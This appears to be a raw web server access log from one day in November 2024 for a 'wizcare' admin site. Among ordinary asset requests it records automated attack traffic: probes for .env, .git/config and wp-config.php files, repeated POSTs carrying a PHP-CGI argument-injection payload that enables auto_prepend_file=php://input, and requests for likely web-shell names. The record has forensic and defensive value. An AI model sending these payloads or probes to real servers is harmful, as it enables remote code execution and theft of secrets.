[27/Nov/2024:12:17:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpinfo HTTP/1.1" 300
[27/Nov/2024:12:17:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /appsettings.json HTTP/1.1" 300
[27/Nov/2024:12:17:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test HTTP/1.1" 300
[27/Nov/2024:12:17:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/php.ini HTTP/1.1" 300
[27/Nov/2024:12:17:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.js HTTP/1.1" 300
[27/Nov/2024:12:17:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test1.php HTTP/1.1" 300
[27/Nov/2024:12:17:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app_dev.php/_profiler/phpinfo HTTP/1.1" 300
[27/Nov/2024:12:17:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/config HTTP/1.1" 300
[27/Nov/2024:12:17:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php/phpinfo HTTP/1.1" -
[27/Nov/2024:12:17:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /debug/default HTTP/1.1" 300
[27/Nov/2024:12:17:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test.php HTTP/1.1" 300
[27/Nov/2024:12:17:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[27/Nov/2024:12:17:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /php_info.php HTTP/1.1" 300
[27/Nov/2024:12:17:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dev/phpinfo.php HTTP/1.1" 300
[27/Nov/2024:12:17:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.php HTTP/1.1" 300
[27/Nov/2024:12:17:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /info.php HTTP/1.1" 300
[27/Nov/2024:12:17:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/application.yml HTTP/1.1" 300
[27/Nov/2024:12:17:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /main.js HTTP/1.1" 300
[27/Nov/2024:12:17:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /server.js HTTP/1.1" 300
[27/Nov/2024:12:17:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /staticfiles HTTP/1.1" 300
[27/Nov/2024:12:17:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[27/Nov/2024:12:17:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /src/main/resources/appsettings.yml HTTP/1.1" -
[27/Nov/2024:12:17:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config HTTP/1.1" 300
[27/Nov/2024:12:17:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /static/.gitlab-ci.yml HTTP/1.1" 300
[27/Nov/2024:12:17:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/config.ini HTTP/1.1" 300
[27/Nov/2024:12:17:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-config.php HTTP/1.1" 300
[27/Nov/2024:12:17:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php HTTP/1.1" -
[27/Nov/2024:12:17:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/development.json HTTP/1.1" 300
[27/Nov/2024:12:17:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.properties HTTP/1.1" 300
[27/Nov/2024:12:17:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /frontend_dev.php/$ HTTP/1.1" 300
[27/Nov/2024:12:17:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app.js HTTP/1.1" 300
[27/Nov/2024:12:17:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /README.md HTTP/1.1" 300
[27/Nov/2024:12:17:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/test HTTP/1.1" 300
[27/Nov/2024:12:17:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /login/index.php HTTP/1.1" 300
[27/Nov/2024:12:17:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:12:17:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[27/Nov/2024:12:20:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/datagrid_icons.png HTTP/1.1" 307
[27/Nov/2024:12:23:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/spinner_arrows.png HTTP/1.1" 115
[27/Nov/2024:12:27:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/iframe/images/placeholder.png HTTP/1.1" 265
[27/Nov/2024:12:31:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/preview/images/pagebreak.gif HTTP/1.1" 99
[27/Nov/2024:12:32:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/fonts/glyphicons-halflings-regular.svg HTTP/1.1" 108738
[27/Nov/2024:12:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:12:36:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/layout_arrows.png HTTP/1.1" 319
[27/Nov/2024:12:43:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/linkbutton_bg.png HTTP/1.1" 1274
[27/Nov/2024:12:51:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/combo_arrow.png HTTP/1.1" 117
[27/Nov/2024:12:54:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:12:58:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/pagination_icons.png HTTP/1.1" 628
[27/Nov/2024:12:58:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:12:58:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:13:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/more.png HTTP/1.1" 110
[27/Nov/2024:13:12:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:13:12:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:13:12:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/use-sqlite.html HTTP/1.1" 305
[27/Nov/2024:13:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:13:16:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/linkbutton_bg.png HTTP/1.1" 1274
[27/Nov/2024:13:20:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/blank.gif HTTP/1.1" 43
[27/Nov/2024:13:23:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/default/images/blank.gif HTTP/1.1" 43
[27/Nov/2024:13:24:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[27/Nov/2024:13:33:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:13:37:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/close.png HTTP/1.1" 1238
[27/Nov/2024:13:42:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:13:54:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/messager_icons.png HTTP/1.1" 6116
[27/Nov/2024:13:54:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:14:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:14:33:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:14:41:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:14:41:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:14:42:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/index.php HTTP/1.1" 16
[27/Nov/2024:14:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin HTTP/1.1" 350
[27/Nov/2024:14:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/ HTTP/1.1" 985
[27/Nov/2024:14:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/blank.gif HTTP/1.1" 148
[27/Nov/2024:14:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/back.gif HTTP/1.1" 216
[27/Nov/2024:14:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/folder.gif HTTP/1.1" 225
[27/Nov/2024:14:43:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/login.php HTTP/1.1" 305
[27/Nov/2024:14:43:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/index.php HTTP/1.1" 305
[27/Nov/2024:14:44:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:14:44:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:14:45:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /contact.php HTTP/1.1" 305
[27/Nov/2024:14:45:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /contact/contact.php HTTP/1.1" 305
[27/Nov/2024:14:46:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:14:46:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:14:46:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-3.jpg HTTP/1.1" 97015
[27/Nov/2024:14:54:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:15:05:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[27/Nov/2024:15:13:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:15:16:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor.svg HTTP/1.1" 2759
[27/Nov/2024:15:20:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/calendar_arrows.png HTTP/1.1" 173
[27/Nov/2024:15:33:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:15:33:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:15:44:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:15:44:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:15:47:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:15:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:15:58:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:15:58:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:15:58:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h1.png HTTP/1.1" 120
[27/Nov/2024:16:13:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:16:13:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:16:13:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/favicon.ico HTTP/1.1" -
[27/Nov/2024:16:14:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:16:17:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[27/Nov/2024:16:17:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media/.git/config HTTP/1.1" 300
[27/Nov/2024:16:17:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dev HTTP/1.1" 300
[27/Nov/2024:16:17:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.live HTTP/1.1" 300
[27/Nov/2024:16:17:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/environment.rb HTTP/1.1" 300
[27/Nov/2024:16:17:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.template HTTP/1.1" 300
[27/Nov/2024:16:19:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[27/Nov/2024:16:26:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /well-known/acme-challenge/Tqpn0tGX550fVwt5D6g4CGWP6UDer6JXfWyNmCnCqTi HTTP/1.1" 305
[27/Nov/2024:16:33:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:16:34:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/bed.png HTTP/1.1" 8998
[27/Nov/2024:16:48:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[27/Nov/2024:16:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:17:07:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/tree_icons.png HTTP/1.1" 3115
[27/Nov/2024:17:07:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:17:07:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:17:14:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:17:20:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:17:20:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:17:20:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/create-framework-project-zf2.html HTTP/1.1" 305
[27/Nov/2024:17:27:01 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:17:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:17:39:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_address.png HTTP/1.1" 152
[27/Nov/2024:17:52:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:17:54:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:17:55:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[27/Nov/2024:17:59:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/datagrid/basic.html.locked HTTP/1.1" -
[27/Nov/2024:17:59:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:18:05:03 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:18:11:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:18:12:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123123(1).jpg HTTP/1.1" 36683
[27/Nov/2024:18:12:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:18:12:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:18:14:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:18:29:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-8.jpg HTTP/1.1" 55618
[27/Nov/2024:18:33:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:18:37:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328i.html HTTP/1.1" -
[27/Nov/2024:18:53:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:18:53:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:18:54:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:18:54:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:18:54:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:18:54:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:19:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:19:34:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:19:54:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:19:57:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:20:11:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:20:14:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:20:26:17 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:20:26:17 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:20:26:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:20:27:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /un.php HTTP/1.1" 305
[27/Nov/2024:20:28:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /foxx.php HTTP/1.1" 305
[27/Nov/2024:20:28:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wawe.php HTTP/1.1" 305
[27/Nov/2024:20:28:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /js.php?get HTTP/1.1" 305
[27/Nov/2024:20:28:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpinfo.php?re@=vo@ HTTP/1.1" 305
[27/Nov/2024:20:28:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-email.php HTTP/1.1" 305
[27/Nov/2024:20:29:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-booking.php HTTP/1.1" 305
[27/Nov/2024:20:29:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /fierza.php HTTP/1.1" 305
[27/Nov/2024:20:29:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /load.php HTTP/1.1" 305
[27/Nov/2024:20:29:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-content/themes/fitnessbase/dev.php HTTP/1.1" 305
[27/Nov/2024:20:29:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-content/themes/fitnessbase/crp.php HTTP/1.1" 305
